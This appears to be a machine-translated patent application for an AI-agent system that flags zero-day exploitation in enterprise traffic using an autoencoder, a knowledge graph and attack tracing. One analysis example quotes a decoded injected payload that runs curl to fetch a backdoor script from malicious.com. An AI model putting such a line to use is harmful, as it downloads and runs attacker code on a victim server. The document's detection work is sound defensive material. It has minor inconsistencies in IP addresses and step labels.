An ai agent early warning method and device for 0day vulnerabilities

Abstract

The application discloses a kind of 0day vulnerability-oriented AI intelligent body early warning method and device, the method includes: the network traffic data of the network interaction of enterprise internal network and external public network is collected, obtains the key technical features related to 0day vulnerability;Using the AI intelligent body of pre-training analyzes the key technical features related to 0day vulnerability, if the analysis result is abnormal flow, then using knowledge graph executes associated reasoning, if the reasoning result is that there is 0day vulnerability, then output early warning report.In the present application, by numerical feature, category feature and sequence feature Key technical features such as training AI intelligent body, make AI intelligent body can identify potential abnormal flow, while using knowledge graph to further determine whether abnormal flow exists 0day vulnerability, so that AI intelligent body can provide forward-looking early warning before attack outbreak, improve vulnerability response effect.

Description

Technical Field

[0001] This invention relates to the field of network security technology, and in particular to an AI agent early warning method and device for zero-day vulnerabilities. Background Technology

[0002] Currently, the discovery and defense against vulnerabilities in the cybersecurity field mainly rely on the following methods:

[0003] Method 1: Known vulnerability databases (such as CVE, CNNVD): Detection is achieved through signature characteristics, vulnerability announcements, etc. However, this type of method has a significant time lag, often only being able to defend against vulnerabilities after they have been publicly disclosed, and cannot effectively deal with unknown 0-day vulnerabilities.

[0004] Method 2: Rule-based or feature-based intrusion detection and prevention systems (IDS / IPS, WAF): These systems rely on predefined rule bases and lack the ability to identify new types of vulnerability exploits, making them prone to false negatives and missed detections.

[0005] Method 3, traditional threat intelligence and attribution analysis: This usually requires human security experts to analyze the attack, which is inefficient, time-consuming, and difficult to provide effective early warning in the early stages of an attack. Summary of the Invention

[0006] The purpose of this invention is to provide an AI agent early warning method and device for zero-day vulnerabilities, so as to solve at least some of the problems in the prior art.

[0007] To achieve the above objectives, one aspect of the present invention provides an AI agent early warning method for zero-day vulnerabilities, comprising:

[0008] Collect network traffic data of the interaction between the enterprise's internal network and the external public network, parse the network traffic data, reconstruct the communication sessions corresponding to the network traffic data, and extract the key technical features related to 0-day vulnerabilities in the communication sessions;

[0009] The system uses a pre-trained AI agent to analyze key technical characteristics related to zero-day vulnerabilities. If the analysis results indicate abnormal traffic, it uses a knowledge graph to perform correlation reasoning. If the reasoning result indicates the existence of a zero-day vulnerability, it outputs an early warning report.

[0010] The key technical features include numerical features, categorical features, and sequence features;

[0011] Using knowledge graphs to perform associative reasoning includes:

[0012] The knowledge graph is used to pre-store the correspondence between traffic feature nodes, known vulnerability exploitation behavior nodes, potentially associated vulnerability type nodes, asset nodes, and threat intelligence nodes.

[0013] Search the knowledge graph for similar traffic features whose key technical characteristics are more than a threshold similar to those of abnormal traffic, and determine whether the similar traffic features correspond to nodes of known vulnerability exploitation behavior.

[0014] If the result is yes, it indicates that a 0-day vulnerability exists.

[0015] If the result is negative, search for vulnerability type nodes that may be associated with the abnormal traffic in the knowledge graph. If there are associated vulnerability type nodes, check whether the associated vulnerability type nodes have an impact relationship with the asset nodes corresponding to the abnormal traffic. If there is an impact relationship and the asset node is in the state of not fixing the associated vulnerability type, then further search for threat intelligence nodes corresponding to the abnormal traffic. If there are corresponding threat intelligence nodes, then it is determined that there is a 0-day vulnerability.

[0016] Otherwise, it is determined that there is no zero-day vulnerability.

[0017] Preferably, the numerical features include payload length, entropy value, and TLS handshake duration; the categorical features include HTTP method and cipher suite type; and the sequential features include a sequence of payload length changes for a consecutive preset number of sessions.

[0018] Preferably, the key technical features related to zero-day vulnerabilities analyzed by using a pre-trained AI agent include: training the AI ​​agent to autonomously learn the key technical features of normal traffic; and optimizing the AI ​​agent's recognition accuracy of vulnerability exploitation-type abnormal traffic based on key technical features by using known vulnerability exploitation traffic samples and manually labeled abnormal traffic samples.

[0019] Preferably, the AI ​​agent pre-training process adopts a stacked autoencoder, which includes three hidden layers with 32, 16, and 32 neurons respectively. By minimizing the mean square error (MSE) between the input features and the reconstructed features, it autonomously learns the key technical features of normal traffic, the key technical features of known vulnerability exploitation traffic samples, and manually labeled abnormal traffic samples, and outputs two classification results: normal traffic and abnormal traffic.

[0020] Preferably, the key technical features related to zero-day vulnerabilities analyzed by using a pre-trained AI agent include: standardizing the extracted key technical features, converting them into a vector format that the AI ​​agent can recognize, and associating them with the corresponding traffic metadata.

[0021] Preferably, after determining the existence of a 0-day vulnerability, the process also includes: performing source tracing to locate the attack entry point, including:

[0022] Extract the payload content from abnormal traffic and observe the abnormal behavior triggered by the payload through dynamic execution in a sandbox;

[0023] Retrieve traffic data from other devices within the same asset cluster of the asset node corresponding to the abnormal traffic. If the abnormal behavior is triggered only on the asset node corresponding to the abnormal traffic, then the asset node corresponding to the abnormal traffic is identified as the attack entry point.

[0024] Preferably, the method further includes tracing the attack path, including: extracting the source IP of the abnormal traffic and verifying whether it is a real attack source through the following dimensions:

[0025] By checking historical traffic, if the source IP sent port scanning traffic or fingerprinting traffic within a preset time period before the attack, it is determined to be a direct attack source.

[0026] Otherwise, it is determined to be a multi-hop attack path, and the upstream real source is traced using the following methods:

[0027] Analyze the outbound traffic of the direct attack source IP during the attack period, extract the upstream IPs that have established TCP long connections with the source IP, and check whether the traffic sent by the upstream IPs contains command and control content;

[0028] If the traffic sent by the upstream IP contains command and control content, retrieve the routing logs of the enterprise border router and firewall to check the inbound interface and next-hop information of the abnormal traffic, and determine the attack path of the abnormal traffic.

[0029] Preferably, the method also includes parsing attack methods, including structured parsing of the payload content of abnormal traffic:

[0030] If the payload is an HTTP request parameter, it is broken down into a parameter name + parameter value structure. It is then identified whether it includes a special encoding layer. If it does, the attack method is determined to be parameter injection.

[0031] If the payload is binary data, entropy analysis is used to determine whether it contains known vulnerability trigger codes. If it does, the attack method is determined to be code execution.

[0032] Preferably, the output early warning report includes:

[0033] Automatically generate structured early warning reports, including abnormal traffic identification information, attack entry points, attack paths, and attack methods.

[0034] Another aspect of the present invention provides an AI agent early warning method for zero-day vulnerabilities, comprising:

[0035] Collect host logs of network traffic; host logs include operating system logs, application running logs and security audit logs, and classify and store host logs in a local log buffer by timestamp, host IP and log type as classification criteria;

[0036] The system call sequence of the collected logs is extracted using regular expression matching;

[0037] The system call sequence is analyzed and extracted using an AI agent to determine if a zero-day vulnerability exists.

[0038] The AI ​​agent is pre-trained using the following method: host logs of normal traffic, host logs of traffic with known 0-day vulnerabilities, and host logs of traffic with manually marked potential 0-day vulnerabilities are used to train the AI ​​agent to recognize the system call sequence of normal traffic and the system call sequence corresponding to 0-day vulnerabilities.

[0039] Another aspect of the present invention provides an AI agent early warning device for zero-day vulnerabilities, for implementing the method provided according to the above aspects and any preferred embodiments thereof, the device comprising:

[0040] The data acquisition module is used to collect network traffic data between the enterprise's internal network and the external public network, parse the network traffic data, reconstruct the communication sessions corresponding to the network traffic data, and extract key technical features related to zero-day vulnerabilities from the communication sessions.

[0041] The vulnerability reasoning module is used to analyze key technical features related to 0-day vulnerabilities using a pre-trained AI agent. If the analysis result is abnormal traffic, it uses a knowledge graph to perform correlation reasoning.

[0042] The early warning module outputs an early warning report when the vulnerability reasoning module determines that a 0-day vulnerability exists.

[0043] The key technical features include numerical features, categorical features, and sequence features;

[0044] The vulnerability inference module is used for:

[0045] The knowledge graph is used to pre-store the correspondence between traffic feature nodes, known vulnerability exploitation behavior nodes, potentially associated vulnerability type nodes, asset nodes, and threat intelligence nodes.

[0046] Search the knowledge graph for similar traffic features whose key technical characteristics are more than a threshold similar to those of abnormal traffic, and determine whether the similar traffic features correspond to nodes of known vulnerability exploitation behavior.

[0047] If the result is yes, it indicates that a 0-day vulnerability exists.

[0048] If the result is negative, search for vulnerability type nodes that may be associated with the abnormal traffic in the knowledge graph. If there are associated vulnerability type nodes, check whether the associated vulnerability type nodes have an impact relationship with the asset nodes corresponding to the abnormal traffic. If there is an impact relationship and the asset node is in the state of not fixing the associated vulnerability type, then further search for threat intelligence nodes corresponding to the abnormal traffic. If there are corresponding threat intelligence nodes, then it is determined that there is a 0-day vulnerability.

[0049] Otherwise, it is determined that there is no zero-day vulnerability.

[0050] Compared with the prior art, the present invention has at least the following beneficial effects:

[0051] By training an AI agent using key technical features such as numerical, categorical, and sequential features, the AI ​​agent can identify potential abnormal traffic before zero-day vulnerabilities are publicly disclosed. Simultaneously, it analyzes this abnormal traffic using a knowledge graph, further determining the presence of zero-day vulnerabilities by mapping abnormal traffic to known vulnerability exploitation behavior nodes, potentially associated vulnerability type nodes, asset nodes, and threat intelligence nodes. This approach enables the AI ​​agent to provide proactive warnings before attacks occur, improving vulnerability response effectiveness. Furthermore, this method can also trace the origins of zero-day vulnerabilities, providing early warnings and tracing clues in the initial stages of an attack. This helps security personnel deploy defense strategies in advance, shortening vulnerability handling cycles. It can be applied to enterprise security operations centers (SOCs), government cybersecurity protection, and critical infrastructure defense, demonstrating significant industrialization and promotional value. Attached Figure Description

[0052] Figure 1 This is a flowchart illustrating an AI agent early warning method for zero-day vulnerabilities provided in Embodiment 1 of the present invention.

[0053] Figure 2 This is a flowchart illustrating an AI agent early warning method for zero-day vulnerabilities provided in Embodiment 2 of the present invention.

[0054] Figure 3 This is a flowchart illustrating an AI agent early warning method for zero-day vulnerabilities provided in Embodiment 3 of the present invention.

[0055] Figure 4 This is a schematic diagram of the structure of an AI intelligent agent early warning device for zero-day vulnerabilities provided in Embodiment 4 of the present invention. Detailed Implementation

[0056] To enable those skilled in the art to better understand the present invention, the technical solutions of the present invention will be clearly and completely described below with reference to the accompanying drawings of the embodiments of the present invention. Obviously, the described embodiments are only some embodiments of the present invention, and not all embodiments. Based on the embodiments of the present invention, all other embodiments obtained by those skilled in the art without creative effort should fall within the scope of protection of the present invention.

[0057] It should be noted that the terms "first," "second," etc., in the specification, claims, and accompanying drawings of this invention are used to distinguish similar objects and are not necessarily used to describe a specific order or sequence. It should be understood that such data can be used interchangeably where appropriate to understand the embodiments of the invention described herein. Furthermore, the terms "comprising" and "having," and any variations thereof, are intended to cover non-exclusive inclusion; for example, a product or device comprising a series of units is not necessarily limited to those explicitly listed, but may include other units not explicitly listed or inherent to such product or device.

[0058] In this invention, the terms "upper," "lower," "left," "right," "front," "rear," "top," "bottom," "inner," "outer," "middle," "vertical," "horizontal," "lateral," and "longitudinal" indicate the orientation or positional relationship based on the orientation or positional relationship shown in the accompanying drawings. These terms are primarily for the purpose of better describing the invention and its embodiments, and are not intended to limit the indicated devices, elements, or components to having a specific orientation, or to be constructed and operated in a specific orientation.

[0059] Furthermore, in addition to indicating direction or positional relationship, some of the aforementioned terms may also have other meanings. For example, the term "above" may also be used in certain situations to indicate a dependency or connection. Those skilled in the art can understand the specific meaning of these terms in this invention based on the specific circumstances.

[0060] Furthermore, the terms "installation," "setup," "equipped with," "connection," "linking," and "socketing" should be interpreted broadly. For example, they can refer to a fixed connection, a detachable connection, or an integral structure; they can refer to a mechanical connection or an electrical connection; they can refer to a direct connection or an indirect connection through an intermediate medium, or an internal connection between two devices, components, or parts. Those skilled in the art can understand the specific meaning of these terms in this invention based on the specific circumstances.

[0061] It should be noted that, unless otherwise specified, the embodiments and features described in the present invention can be combined with each other. The present invention will now be described in detail with reference to the accompanying drawings and embodiments.

[0062] Example 1

[0063] This invention provides an AI agent early warning method for zero-day vulnerabilities. Figure 1 A flowchart illustrating this method is shown, as follows: Figure 1 As shown, the method includes:

[0064] Step 101: Collect network traffic data of the interaction between the enterprise's internal network and the external public network, parse the network traffic data, reconstruct the communication sessions corresponding to the network traffic data, and extract the key technical features related to the 0-day vulnerability in the communication sessions;

[0065] Step 102: Analyze the key technical features related to the 0-day vulnerability using a pre-trained AI agent. If the analysis result is abnormal traffic, perform correlation reasoning using a knowledge graph. If the reasoning result indicates the existence of a 0-day vulnerability, output an early warning report.

[0066] The key technical features include numerical features, categorical features, and sequence features;

[0067] Using knowledge graphs to perform associative reasoning includes:

[0068] The knowledge graph is used to pre-store the correspondence between traffic feature nodes, known vulnerability exploitation behavior nodes, potentially associated vulnerability type nodes, asset nodes, and threat intelligence nodes.

[0069] Search the knowledge graph for similar traffic features whose key technical characteristics are more than a threshold similar to those of abnormal traffic, and determine whether the similar traffic features correspond to nodes of known vulnerability exploitation behavior.

[0070] If the result is yes, it indicates that a 0-day vulnerability exists.

[0071] If the result is negative, search for vulnerability type nodes that may be associated with the abnormal traffic in the knowledge graph. If there are associated vulnerability type nodes, check whether the associated vulnerability type nodes have an impact relationship with the asset nodes corresponding to the abnormal traffic. If there is an impact relationship and the asset node is in the state of not fixing the associated vulnerability type, then further search for threat intelligence nodes corresponding to the abnormal traffic. If there are corresponding threat intelligence nodes, then it is determined that there is a 0-day vulnerability.

[0072] Otherwise, it is determined that there is no zero-day vulnerability.

[0073] In a preferred embodiment, the numerical features include payload length, entropy value, and TLS handshake duration; the categorical features include HTTP method and cipher suite type; and the sequential features include a sequence of payload length changes for a consecutive preset number of sessions.

[0074] In a preferred embodiment, the analysis of key technical features related to zero-day vulnerabilities using a pre-trained AI agent includes: training the AI ​​agent to autonomously learn the key technical features of normal traffic; and optimizing the AI ​​agent's recognition accuracy of vulnerability exploitation-type abnormal traffic based on key technical features by using known vulnerability exploitation traffic samples and manually labeled abnormal traffic samples.

[0075] The AI ​​agent pre-training process uses a stacked autoencoder, which includes three hidden layers with 32, 16, and 32 neurons respectively. By minimizing the mean square error (MSE) between the input features and the reconstructed features, it autonomously learns the key technical features of normal traffic, the key technical features of known vulnerability exploitation traffic samples, and manually labeled abnormal traffic samples, and outputs two classification results: normal traffic and abnormal traffic.

[0076] Among them, the key technical features related to zero-day vulnerabilities are analyzed using pre-trained AI agents, including: standardizing the extracted key technical features, converting them into a vector format that the AI ​​agent can recognize, and associating them with the corresponding traffic metadata.

[0077] In a preferred embodiment, after determining that a zero-day vulnerability exists, the method further includes: performing source tracing processing to locate the attack entry point, including:

[0078] Extract the payload content from abnormal traffic and observe the abnormal behavior triggered by the payload through dynamic execution in a sandbox;

[0079] Retrieve traffic data from other devices within the same asset cluster of the asset node corresponding to the abnormal traffic. If the abnormal behavior is triggered only on the asset node corresponding to the abnormal traffic, then the asset node corresponding to the abnormal traffic is identified as the attack entry point.

[0080] After determining the existence of a zero-day vulnerability, this method may also include tracing the attack path, including: extracting the source IP of abnormal traffic and verifying whether it is a real attack source through the following dimensions:

[0081] By checking historical traffic, if the source IP sent port scanning traffic or fingerprinting traffic within a preset time period before the attack, it is determined to be a direct attack source.

[0082] Otherwise, it is determined to be a multi-hop attack path, and the upstream real source is traced using the following methods:

[0083] Analyze the outbound traffic of the direct attack source IP during the attack period, extract the upstream IPs that have established TCP long connections with the source IP, and check whether the traffic sent by the upstream IPs contains command and control content;

[0084] If the traffic sent by the upstream IP contains command and control content, retrieve the routing logs of the enterprise border router and firewall to check the inbound interface and next-hop information of the abnormal traffic, and determine the attack path of the abnormal traffic.

[0085] After determining the existence of a zero-day vulnerability, this method may also include parsing attack methods, including structured parsing of the payload content of abnormal traffic:

[0086] If the payload is an HTTP request parameter, it is broken down into a parameter name + parameter value structure. It is then identified whether it includes a special encoding layer. If it does, the attack method is determined to be parameter injection.

[0087] If the payload is binary data, entropy analysis is used to determine whether it contains known vulnerability trigger codes. If it does, the attack method is determined to be code execution.

[0088] The output of the early warning report may include:

[0089] Automatically generate structured early warning reports, including abnormal traffic identification information, attack entry points, attack paths, and attack methods.

[0090] By employing the method provided in this invention, an AI agent is trained using key technical features such as numerical features, categorical features, and sequential features. This enables the AI ​​agent to identify potential abnormal traffic before zero-day vulnerabilities are publicly disclosed. Simultaneously, a knowledge graph is used to analyze the abnormal traffic. By establishing correspondences between abnormal traffic and known vulnerability exploitation behavior nodes, potentially associated vulnerability type nodes, asset nodes, and threat intelligence nodes, the system further determines whether zero-day vulnerabilities exist. This approach allows the AI ​​agent to provide proactive warnings before attacks occur, improving vulnerability response effectiveness. Furthermore, this method can also trace the origins of zero-day vulnerabilities, providing early warnings and tracing clues in the initial stages of an attack. This helps security personnel deploy defense strategies in advance, shortening the vulnerability handling cycle. It can be applied to scenarios such as enterprise security operations centers (SOCs), government cybersecurity protection, and critical infrastructure defense, possessing significant industrialization and promotional value.

[0091] Example 2

[0092] Embodiment 2 of the present invention provides an AI agent early warning method for zero-day vulnerabilities. Figure 2 A flowchart illustrating this method is shown, as follows: Figure 2 As shown, the method includes:

[0093] Step 201: Collect traffic.

[0094] By using network probes (such as those deployed at the egress points of enterprise core switches and access points of important business servers) and traffic mirroring (such as targeted mirroring of traffic for business-related protocols such as HTTP / HTTPS and RPC), network traffic data between the enterprise's core business areas and the external public network can be collected. At the same time, invalid and redundant traffic (such as known normal device heartbeat packets and traffic unrelated to employees' daily office work) can be filtered out to improve the efficiency of subsequent feature extraction.

[0095] Step 202: Extract key features of the traffic.

[0096] For the traffic collected in the previous step, the network traffic data is parsed, the communication session corresponding to the network traffic data is restored, and then the key technical features related to the 0-day vulnerability in the communication session are extracted.

[0097] Protocol parsing and session reconstruction include parsing protocols such as TCP / IP, HTTP / HTTPS, and WebSocket, reconstructing complete communication sessions (including request headers, request bodies, response codes, and session duration), and eliminating incomplete sessions caused by network packet loss.

[0098] Key feature extraction includes: focusing on extracting differentiated features related to zero-day vulnerability exploitation.

[0099] In one implementation, key features include, but are not limited to, numerical features, categorical features, and sequential features. In one example, numerical features include payload length, entropy value, and TLS handshake duration; categorical features include HTTP method and cipher suite type; and sequential features include a sequence of payload length changes for a predetermined number of consecutive sessions.

[0100] In another implementation, key features include, but are not limited to:

[0101] HTTP request parameters: abnormal parameter formats (such as parameter values ​​exceeding the normal length, parameters containing special encoding (Base64 + malformed characters)), and non-standard HTTP methods (such as custom request methods carrying suspicious payloads).

[0102] Payload length distribution: Abrupt changes in payload length (such as the payload length of a request for the same business interface suddenly exceeding twice the historical normal fluctuation range), abnormal payload content entropy values ​​(high entropy values ​​may indicate the presence of randomly generated exploit code, while low entropy values ​​may indicate the presence of hidden malicious instructions).

[0103] In a preferred embodiment, the extracted key features can also be standardized, for example, by converting the extracted multi-dimensional features into a vector format that the AI ​​agent can recognize (such as normalization of numerical features and encoding of categorical features), and associating them with metadata such as source IP, destination IP, service port, and communication timestamps corresponding to the traffic, so as to provide correlation clues for subsequent AI agent inference.

[0104] Step 203: Use an AI agent to determine whether there is a zero-day vulnerability in the traffic based on the key features collected.

[0105] By inputting key characteristics of traffic into the intelligent agent, and using anomaly detection models and knowledge graphs for reasoning, potential unknown vulnerability exploitation behaviors can be identified.

[0106] In this step, the AI ​​agent uses an "anomaly detection model + knowledge graph" as its dual cores to construct a closed-loop reasoning process of "feature input - initial model judgment - knowledge graph association reasoning - result output." The core objective is to identify "0-day vulnerability exploitation behaviors that cannot be covered by known rules" from network traffic characteristics. The specific logic is as follows:

[0107] Feature preprocessing connection: Receive the traffic feature vector output from step 202 (e.g., HTTP request abnormal parameters, Payload entropy, TLS handshake features, etc.), first remove noise (such as temporary abnormal Payload length caused by network jitter) through the "feature cleaning module" built into the agent, and retain the effective features that are "strongly correlated with vulnerability exploitation behavior".

[0108] Dual-core collaborative reasoning: First, the anomaly detection model performs "anomaly probability determination" on the characteristics of a single traffic flow. Then, the knowledge graph performs "multi-dimensional correlation verification" on the "high anomaly probability traffic". Finally, it outputs the judgment result of "potential 0-day vulnerability exploitation behavior" and can also output the confidence level at the same time (such as a 92% confidence level judgment as a suspected 0-day attack).

[0109] Temporary storage and labeling of inference results: The inference results (including abnormal features, confidence level, and associated graph nodes) are temporarily stored in the agent's "inference log library" to provide initial clues for the source tracing analysis in the subsequent step S104. At the same time, "low confidence anomalies" (such as confidence level < 60%) are marked for secondary verification by combining multi-source data.

[0110] To address the characteristics of zero-day vulnerabilities—namely, "no labeled samples and unknown attack patterns"—an architecture design of "first generalizing and learning normal traffic patterns, then accurately capturing anomalies" is adopted. The specific design of the AI ​​agent is as follows:

[0111] ①Input layer:

[0112] Receive standardized traffic feature vectors, including three core features:

[0113] 1. Numerical features (Payload length, entropy value, TLS handshake duration);

[0114] 2. Categorical characteristics (HTTP method, cipher suite type);

[0115] 3. Sequence-type features (a sequence of payload length changes over 5 consecutive sessions).

[0116] ② Pre-trained layer (unsupervised):

[0117] A stacked autoencoder (SAE) is used, which contains three hidden layers (with 32, 16, and 32 neurons respectively). By minimizing the mean squared error (MSE) between the input features and the reconstructed features, the model learns the feature associations of normal traffic (such as "the payload entropy of a normal HTTP request is usually <3.5" and "the TLS handshake duration is usually 100-500ms").

[0118] ③ Fine-tuning layer (supervised):

[0119] By introducing "known vulnerability exploitation traffic samples + manually labeled abnormal traffic samples", the model's accuracy in identifying "vulnerability exploitation anomalies" is optimized.

[0120] Based on the intermediate hidden layer (16-dimensional feature layer) of the pre-trained SAE, two fully connected layers (8 and 2 neurons respectively) are added to output "normal" and "abnormal" binary classification results; the cross-entropy loss function is used, and the training samples come from two parts:

[0121] 1. Publicly available vulnerability exploitation traffic libraries (such as Log4j attack traffic for CVE-2021-44228 and SpringCloud attack traffic for CVE-2022-22965);

[0122] 2. Samples of “suspected anomalies but not known attacks” manually labeled in the enterprise’s historical traffic.

[0123] ④ Attention layer:

[0124] Strengthen the weight of "features strongly correlated with vulnerability exploitation" and reduce interference from irrelevant features.

[0125] A multi-head self-attention mechanism is adopted to assign higher attention weights to three core features in the input feature vector: “Payload entropy”, “HTTP parameter anomaly”, and “encrypted traffic temporal features” (the weight coefficients are automatically learned through training, and the initial weights are set to 0.6, 0.3, and 0.1), ensuring that the model prioritizes key signals for vulnerability exploitation.

[0126] ⑤ Output layer:

[0127] Output "anomaly probability value" (0-100%) and "anomaly feature contribution ranking".

[0128] The Sigmoid activation function is used to output the anomaly probability. At the same time, the contribution of each feature to the anomaly detection is calculated by the "SHAP value (SHapley Additive exPlanations)" (e.g., "Payload entropy value = 4.2" contributes 65%, and "TLS handshake duration = 800ms" contributes 25%), providing key clues for subsequent knowledge graph association.

[0129] If the probability of an anomaly exceeds a preset probability threshold, the traffic is judged as abnormal traffic, and then the knowledge graph is used to further determine whether the traffic contains a 0-day vulnerability.

[0130] The knowledge graph construction process includes:

[0131] 1) Data Sources and Imports

[0132] Import basic data: Import enterprise asset information (IP, port, component version), vulnerability types and impact scope of public vulnerability databases (CVE, CNNVD), and attack organization characteristics of threat intelligence platforms (such as MITRE ATT&CK, intelligence) into the graph in batches using tools such as ETL to form initial nodes and relationships (approximately 100,000 initial data entries).

[0133] Real-time data supplementation: The AI ​​agent's "inference log library" automatically extracts features of "high-probability traffic" every hour, generates "traffic feature nodes", and initially associates "asset nodes" based on rules (such as matching asset IDs according to the destination IP of the traffic).

[0134] 2) Dynamic updating and completion of the map

[0135] Relationship completion: The "Knowledge Graph Embedding Algorithm Based on TransE" is used to predict the relationship of nodes that are not clearly associated. For example, when the similarity between a newly generated traffic feature node (Payload entropy value = 4.8 + HTTP parameter anomaly) and an "attack behavior node (Payload injection)" is > 0.8, the "Has_Behavior" relationship is automatically established.

[0136] Node Update: When a "high-probability traffic" is manually confirmed as a 0-day vulnerability exploit, a new "vulnerability type node" (marked as "suspected 0-day, pending confirmation") is added to the graph, and the association between the vulnerability and the "attack behavior node" and "asset node" is supplemented. At the same time, the threat intelligence node is updated (the characteristics of the 0-day vulnerability are added to the intelligence database).

[0137] The knowledge graph-based associative reasoning process includes:

[0138] When the anomaly detection model outputs "the probability of anomaly in a certain traffic is 92%" or directly outputs "a certain traffic is anomalous traffic", the knowledge graph performs association reasoning in the following 3 steps to verify whether the traffic is a 0-day vulnerability exploit and whether a 0-day vulnerability exists in the traffic:

[0139] Level 1 Reasoning: Feature-Behavior Association Verification

[0140] Input: Key characteristics of abnormal traffic (e.g., Payload entropy = 4.8, HTTP request parameters containing malformed encoding, TLS cipher suite = specific obscure value);

[0141] Reasoning logic: Search the graph for "traffic feature nodes with similarity to input features > 0.7", and check whether the "attack behavior nodes" associated with these nodes are "known vulnerability exploitation behaviors" (such as JNDI injection in Log4j); if "no matching known attack behavior nodes" are found, proceed to the second-level reasoning; otherwise, directly determine that the traffic has a 0-day vulnerability.

[0142] Second-level reasoning: Behavior - Vulnerability - Asset association verification

[0143] Reasoning Logic: Based on the unknown attack behavior identified in the "Level 1 Reasoning," predict the "vulnerability type nodes" that may be associated with it in the graph (e.g., predicting a 90% probability of association between the behavior and the "RCE vulnerability" using the TransE algorithm). Simultaneously, check whether the "vulnerability type node" has an "influence relationship" with the "asset node" corresponding to the current traffic (e.g., whether the web server component of the asset node is within the scope of the vulnerability's impact). If there is a "high probability association (>80%) and the asset has not patched this type of vulnerability," proceed to Level 3 Reasoning; otherwise, determine that there is no 0-day vulnerability.

[0144] Level 3 Reasoning: Threat Intelligence Correlation Verification

[0145] Reasoning logic: Search the threat intelligence nodes in the graph that match the characteristics of the input traffic to see if there are any attack organization nodes associated with this intelligence. If such an association exists, and the organization has a history of exploiting zero-day vulnerabilities (the threat intelligence node in the graph is marked as "previously exploited zero-day"), then the traffic is ultimately determined to be a "potential zero-day vulnerability exploitation behavior," meaning the abnormal traffic contains a zero-day vulnerability. Simultaneously, the confidence level can be increased to over 95%.

[0146] Step 204: Output the reasoning result.

[0147] Generate an "Inference Chain Report", as shown in the example below:

[0148] “Abnormal traffic (destination IP=192.168.111.100, port=443) → Core characteristics (Payload entropy = 4.8 + malformed HTTP parameters) → No matching known attack behavior → Predicted related attack behavior (unknown payload injection) → Predicted related vulnerability type (suspected RCE type 0day) → Asset (Web server) has not patched this type of vulnerability → Matches threat intelligence (characteristics of commonly used cipher suites by the APT29 group, which has previously exploited 0day vulnerabilities) → Final judgment: Potential 0day vulnerability exploit, confidence level 95%”.

[0149] In another implementation, a simple output report can be generated indicating that abnormal traffic indicates a 0-day vulnerability.

[0150] Step 205: Conduct source tracing analysis on the zero-day vulnerability.

[0151] When a zero-day vulnerability is detected, an attack chain can be constructed to locate the attack entry point, trace the attack path, and analyze the attack method.

[0152] ① Locating the attack entry point

[0153] • Payload Reverse Engineering and Behavior Mapping

[0154] Extract the original content of the payload from suspected attack traffic (such as malformed data in the HTTP request body), and observe the system behavior triggered by the payload (such as whether abnormal processes are generated, malicious files are written, or outbound requests are initiated) through "dynamic execution in a sandbox" (such as setting up a Tomcat 9.0 sandbox consistent with the target asset environment).

[0155] • Asset vulnerability correlation verification:

[0156] By combining the vulnerability type node attribute of "suspected RCE-type 0day" in the knowledge graph, and querying the patch installation records of the target asset (192.168.1.100), it was confirmed that the asset "did not have the latest patch for RCE-type vulnerabilities installed" (such as the Apache Commons Text vulnerability patch). At the same time, traffic data of other devices in the same asset cluster were retrieved. If it was found that "requests with the same payload format only triggered abnormal behavior on this asset, and other patched assets did not have abnormalities", then the "uniqueness and specificity of the vulnerability exploitation entry point" was further verified, and the "vulnerability exploitation point" was identified as "the Tomcat 9.0 / api / v1 / upgrade interface (without RCE patch) at 192.168.1.100:443".

[0157] ②Tracing the attack path

[0158] Based on "traffic time-series correlation + network topology analysis", the complete transmission path of attack traffic from the external source to the vulnerability exploitation entry point is traced, and intermediate jump nodes (such as proxy servers and jump servers) are identified. The specific operations are as follows:

[0159] Tracing the direct attack source and associated IP: Extract the source IP of suspected attack traffic (e.g., 203.0.113.10) and verify whether it is the "real attack source" through the following dimensions:

[0160] Traffic timing: Query the historical traffic stored in step S101. If the IP sent "port scan traffic" (such as TCP SYN scans of ports 80, 443, and 8080 of the 192.168.1.0 / 24 network segment) or "fingerprint detection traffic" (such as sending OPTIONS* HTTP / 1.1 requests to obtain the server version) within 1 hour before the attack, it is determined to be a "direct attack source"; otherwise, it is a multi-hop attack path.

[0161] Multi-hop attack path reconstruction: If the direct attack source is a jump server, trace the upstream true source using the following methods:

[0162] Outbound traffic correlation: Analyze the outbound traffic of the direct attack source IP (203.0.113.10) during the attack period, extract the upstream IPs (such as 198.51.100.20) that have established TCP long connections with this IP (duration > 5 minutes), and check whether the traffic sent by the upstream IPs contains "command control content" (such as encrypted JSON data, which, after decryption, contains instructions such as "execute payload" and "return result").

[0163] Network topology and routing logs: Retrieve the routing logs of the enterprise's border routers and firewalls, and check the "inbound interface" and "next hop" information of the attack traffic. If the traffic is found to have a transmission path of "overseas proxy node → domestic jump server → enterprise core area" (e.g., the routing log shows that the traffic of 203.0.113.10 comes from 198.51.100.20, and the traffic of 198.51.100.20 comes from 10.0.0.5 (overseas proxy)), then the complete attack path is restored to "10.0.0.5 (overseas proxy) → 198.51.100.20 (domestic jump server) → 203.0.113.10 (direct attack source) → 192.168.1.100:443 (vulnerability exploitation entry point)".

[0164] ③Analysis of attack methods

[0165] By analyzing payload signatures and reproducing attack behavior, we can understand the specific techniques hackers use to exploit zero-day vulnerabilities, providing a basis for subsequent defense strategies. The specific steps are as follows:

[0166] Payload Structure and Encoding Analysis: The "0-day exploit payload" located in Phase 1 is analyzed in a structured manner, for example:

[0167] If the payload is an HTTP request parameter, disassemble its "parameter name - parameter value" structure to identify whether it contains a "special encoding layer" (such as Base64 encoding first, then URL encoding, and finally inserting a malformed character %00 for truncation).

[0168] If the payload is binary data (such as the payload in encrypted traffic), determine whether it contains a "vulnerability trigger code" (such as the "RET2LIBc" code snippet for buffer overflow vulnerabilities or a "malicious class instance" for deserialization vulnerabilities) by "entropy analysis + feature matching".

[0169] Example: Analysis revealed that the payload contained malicious code `java.lang.Runtime.exec("curlhttp: / / malicious.com / backdoor.sh")` after Base64 decoding of the `upgrade_data` parameter value, which bypassed server parameter validation by truncating with %00. The attack method was initially determined to be "parameter injection + code execution".

[0170] Step 206: Output the early warning report.

[0171] The system generates an early warning report, indicating potential zero-day vulnerabilities, and provides source tracing analysis results, which are then pushed to the security operations center.

